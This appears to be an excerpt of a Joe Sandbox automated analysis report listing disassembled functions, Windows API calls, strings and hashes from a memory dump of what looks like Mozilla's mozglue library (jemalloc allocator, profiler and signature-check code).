CryptMsgClose.CRYPT32(00000000), ref: 6C6E6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C6E6E34
CreateFileW.KERNEL32 ref: 6C6E6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C6E6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C6E6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C6E709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C6E7103
free.MOZGLUE(00000000), ref: 6C6E7153
CloseHandle.KERNEL32(?), ref: 6C6E7176
__Init_thread_footer.LIBCMT ref: 6C6E7209
__Init_thread_footer.LIBCMT ref: 6C6E723A
__Init_thread_footer.LIBCMT ref: 6C6E726B
__Init_thread_footer.LIBCMT ref: 6C6E729C
__Init_thread_footer.LIBCMT ref: 6C6E72DC
__Init_thread_footer.LIBCMT ref: 6C6E730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C6E73C2
VerSetConditionMask.NTDLL ref: 6C6E73F3
VerSetConditionMask.NTDLL ref: 6C6E73FF
VerSetConditionMask.NTDLL ref: 6C6E7406
VerSetConditionMask.NTDLL ref: 6C6E740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C6E741A
moz_xmalloc.MOZGLUE(?), ref: 6C6E755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C6E7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C6E7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C6E7598
free.MOZGLUE(00000000), ref: 6C6E75AC

Part of subcall function 6C70AB89: EnterCriticalSection.KERNEL32(6C75E370,?,?,?,6C6D34DE,6C75F6CC,?,?,?,?,?,?,?,6C6D3284), ref: 6C70AB94
Part of subcall function 6C70AB89: LeaveCriticalSection.KERNEL32(6C75E370,?,6C6D34DE,6C75F6CC,?,?,?,?,?,?,?,6C6D3284,?,?,6C6F56F6), ref: 6C70ABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6C6E72C8
(, xrefs: 6C6E768A
SHA256, xrefs: 6C6E6EC0
wintrust.dll, xrefs: 6C6E72CD

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 606a5693b5915bd5150b26555f82ccd2064775fc238fd150c61a7e0b545ff567
Instruction ID: d57e1eb0ae871d3a4d0b51024e685477d5beb20a21d8878fddb4c1189435b92a
Opcode Fuzzy Hash: 606a5693b5915bd5150b26555f82ccd2064775fc238fd150c61a7e0b545ff567
Instruction Fuzzy Hash: 3252E5B1A053189BEB21DF25CD88BAA77B8EF49318F1041AAE50997641DF30BF84CF55

Function 6C710DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C710F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C710F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C710FB7
EnterCriticalSection.KERNEL32(?), ref: 6C710FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C711031
LeaveCriticalSection.KERNEL32(?), ref: 6C7110D0
EnterCriticalSection.KERNEL32(?), ref: 6C71117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C711C39
EnterCriticalSection.KERNEL32(6C75E744), ref: 6C713391
LeaveCriticalSection.KERNEL32(6C75E744), ref: 6C7133CD
LeaveCriticalSection.KERNEL32(?), ref: 6C713431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C713437

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C7137A8
: (malloc) Unsupported character in malloc options: ', xrefs: 6C713A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C7137BD
<jemalloc>, xrefs: 6C713941, 6C7139F1
MALLOC_OPTIONS, xrefs: 6C7135FE
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C7137D2
Compile-time page size does not divide the runtime one., xrefs: 6C713946
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C713793
MOZ_CRASH(), xrefs: 6C713950
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C713559, 6C71382D, 6C713848

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: ce35b5b2995ce7c71c1731471aaa4ba5071555026222b7a50624eeba2834b8af
Instruction ID: a323a2d8b00c0fab88905538111fccc6013fdd1ec0b204231b79ce585e8cdb45
Opcode Fuzzy Hash: ce35b5b2995ce7c71c1731471aaa4ba5071555026222b7a50624eeba2834b8af
Instruction Fuzzy Hash: 96538C71A097018FD704CF29C640616FBE1BF8A728F2DC66DE8699BB91D771E841CB81

Function 6C7334A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C733527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C73355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7335BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7335E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C73363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C733693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7336CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C733703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C73373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C733775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C73378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C733892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7338BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C733902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C733939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C733970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7339EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C733A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C733AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C733E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C733EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C733EE2

Part of subcall function 6C736180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C7361DD
Part of subcall function 6C736180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C73622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7340F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C73412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C734157

Part of subcall function 6C736180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C736250
Part of subcall function 6C736180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C736292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C73441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C734448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C73484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C734863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C734878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C734896
free.MOZGLUE ref: 6C73489F

Strings

, xrefs: 6C734CD2

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 99a227ffc9b6f54b2ade64b1a7f655ecb18acff7ca1ee9571d5f3c720b5f83c9
Instruction ID: 6ea003bb152dc874382d0ad81c177dbd6f3066e1d19ff245420cdd8ce5a936c0
Opcode Fuzzy Hash: 99a227ffc9b6f54b2ade64b1a7f655ecb18acff7ca1ee9571d5f3c720b5f83c9
Instruction Fuzzy Hash: B2F24D74908740CFC725CF28C18469AFBF1BF89348F558A6ED99997712DB329886CB42

Function 6C6E64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C6E64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C6E64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C6E6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C6E6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C6E652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C6E671C
GetCurrentProcess.KERNEL32 ref: 6C6E6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C6E672F
GetCurrentProcess.KERNEL32 ref: 6C6E6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C6E6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C6E6A80
GetSystemInfo.KERNEL32(?), ref: 6C6E6ABE
__Init_thread_footer.LIBCMT ref: 6C6E6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6E6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6E6AF7

Strings

_etoured.dll, xrefs: 6C6E64ED
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C6E6798
detoured.dll, xrefs: 6C6E64DA
nvdxgiwrap.dll, xrefs: 6C6E6513
nvd3d9wrap.dll, xrefs: 6C6E6500
user32.dll, xrefs: 6C6E6526

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 62b011c06a1cbeef6fe1d3fc635640fcc1ef4ed5076a037d160dc1223acec002
Instruction ID: 25d21aedc90ea8e95a6668b570d44cd3e3fe7390fc39f804b3626fe458c48246
Opcode Fuzzy Hash: 62b011c06a1cbeef6fe1d3fc635640fcc1ef4ed5076a037d160dc1223acec002
Instruction Fuzzy Hash: 21F1E670E0A22D9FDB20CF24CD48BDAB7B5AF09318F1441AAD919A7641D731EE84CF54

Function 6C73C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C73C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C73C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C73C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C73C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C73C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C73CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C73CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C73DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C73DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C73DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C73DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C73DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C73E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C73E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C73E472

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 7b2e468e2e7e5670bad18a22b5450014c515b358c7450a8316fb211bbce12007
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 6633A271E0022ACFCB04CF98C9806EDBBF2FF59310F198269D959AB756D731A945CB90

Function 6C6FED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C6FEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C6FEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C701695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7016B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C701770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C701A3E

Strings

~qml, xrefs: 6C6FED13
~qml, xrefs: 6C6FED10

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qml$~qml
API String ID: 3693777188-1426070390
Opcode ID: d4763e9d5cc3898b654306aa6b09f525357a11c0ed8125fc15ca2358f7fc5f2c
Instruction ID: 4bfc71abe3a840b7c4c102fb622ffc2f31e5a25381406eb99b6a5127f15b2390
Opcode Fuzzy Hash: d4763e9d5cc3898b654306aa6b09f525357a11c0ed8125fc15ca2358f7fc5f2c
Instruction Fuzzy Hash: DDB328B1E00219CFCB14CFA8C990A9DB7F2BF49314F2582A9D559AB745D730AD86CF90

Function 6C6EFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C75E7B8), ref: 6C6EFF81
LeaveCriticalSection.KERNEL32(6C75E7B8), ref: 6C6F022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C6F0240
EnterCriticalSection.KERNEL32(6C75E768), ref: 6C6F025B
LeaveCriticalSection.KERNEL32(6C75E768), ref: 6C6F027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C6F0D67, 6C6F0D7B, 6C6F0DAC
<jemalloc>, xrefs: 6C6F0D62, 6C6F0D76, 6C6F0DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C6EFE99, 6C6EFEB7, 6C6EFED3, 6C6F0DB8, 6C6F0DD3, 6C6F19B4

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 6ff6fbe117d318500c9fbba16c7c23a1aed3c57a59e348a7b66804fc50726f58
Instruction ID: 62a2b3e3efe3551ac47143b6be486177d726c79e494b21fa6f17737380e5d356
Opcode Fuzzy Hash: 6ff6fbe117d318500c9fbba16c7c23a1aed3c57a59e348a7b66804fc50726f58
Instruction Fuzzy Hash: B6C2D171A057418FD714CF28C980756BBE2BF89328F28C66DE4B98B795D771E802CB85

Function 6C73E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C73E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C73EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C73EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C73EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C73F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C73F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C740E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C740E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C740EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C740ED4

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: a21b7ee5aa4c1b3317bb58fc652405e9cd5c7017aabf24cf5311ad17ffa314f7
Instruction ID: 1e8c5ab8b273462f62f93b305a090c389c811fdb789700dc1296af9d4ecaaff7
Opcode Fuzzy Hash: a21b7ee5aa4c1b3317bb58fc652405e9cd5c7017aabf24cf5311ad17ffa314f7
Instruction Fuzzy Hash: 25638171E0025ACFCB04CFA8C9906DDFBB2FF99310F298269D855AB756D730A945CB90

Function 6C713E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C737770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>ql,?,?,?,6C713E7D,?,?), ref: 6C73777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C713F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C713F5C
VerSetConditionMask.NTDLL ref: 6C713F8D
VerSetConditionMask.NTDLL ref: 6C713F99
VerSetConditionMask.NTDLL ref: 6C713FA0
VerSetConditionMask.NTDLL ref: 6C713FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C713FB4

Strings

C>ql, xrefs: 6C713E93
nvd3d9wrap.dll, xrefs: 6C714466
nvinit.dll, xrefs: 6C714479

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>ql$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-239056326
Opcode ID: b1e76f308bf6a6e73db23cf16392bd8843c9b61caa40572c3f8271b43cffbf69
Instruction ID: 46c6ea77a76eca3bc5383f79a3c556cc382dfcfede1731ce200e1880ab85f707
Opcode Fuzzy Hash: b1e76f308bf6a6e73db23cf16392bd8843c9b61caa40572c3f8271b43cffbf69
Instruction Fuzzy Hash: 9C522771614B494FDB10DF34C980ABB77E9AF89208F54892DD596CBB42CB34F909CB68

Function 6C6EFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C75E7B8), ref: 6C6EFF81
LeaveCriticalSection.KERNEL32(6C75E7B8), ref: 6C6F022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C6F0240
EnterCriticalSection.KERNEL32(6C75E768), ref: 6C6F025B
LeaveCriticalSection.KERNEL32(6C75E768), ref: 6C6F027B

Strings

MOZ_CRASH(), xrefs: 6C6F0CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C6EFE99, 6C6EFEB7, 6C6EFED3, 6C6F0DB8, 6C6F0DD3, 6C6F19B4, 6C6F1A10

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: c647bec9defef8112a4ff1521b223a73238a9443857cfda6bf3380c793e79565
Instruction ID: 0b7fe8d5fcaa3e7e515550316e50d062570f12a6f7179971f290902f00226811
Opcode Fuzzy Hash: c647bec9defef8112a4ff1521b223a73238a9443857cfda6bf3380c793e79565
Instruction Fuzzy Hash: 10B2C0716097418FD714CF28C590756BBE2BF85328F28C66DE87A8B795C770E842CB89

Function 6C725600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

ProfileBuffer parse error: %s, xrefs: 6C725AC8, 6C725CBB
expected a Count entry, xrefs: 6C725AC3
data, xrefs: 6C726131
schema, xrefs: 6C72606D
expected a Time entry, xrefs: 6C725CB6
name, xrefs: 6C725E79, 6C725E8F

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: c8bf88f31cf16ca587225d9b5c015ef3563bdd6285e24903abd09551429eb291
Instruction ID: 7d6637627f4b5b8ae919fc71eef9c909b9d1ce41e388027cc051c4cb5370facd
Opcode Fuzzy Hash: c8bf88f31cf16ca587225d9b5c015ef3563bdd6285e24903abd09551429eb291
Instruction Fuzzy Hash: 78925B71A083418FD724CF28C590B9ABBE1BFC9308F14892DE4D99B755DB34E949CB92

Function 6C722E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C722ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C722EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C722F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C723214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C723242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7236BF

Strings

set , xrefs: 6C7236EC
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C72378D
get , xrefs: 6C723205

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 96a6e31067e935f975e3f8095ccad84611af42214ad44a4340fb8c489647101e
Instruction ID: 287c32f03430fa4b9f34997de4740ebb35c4070a0e3e1c29b91f9f49b5151b11
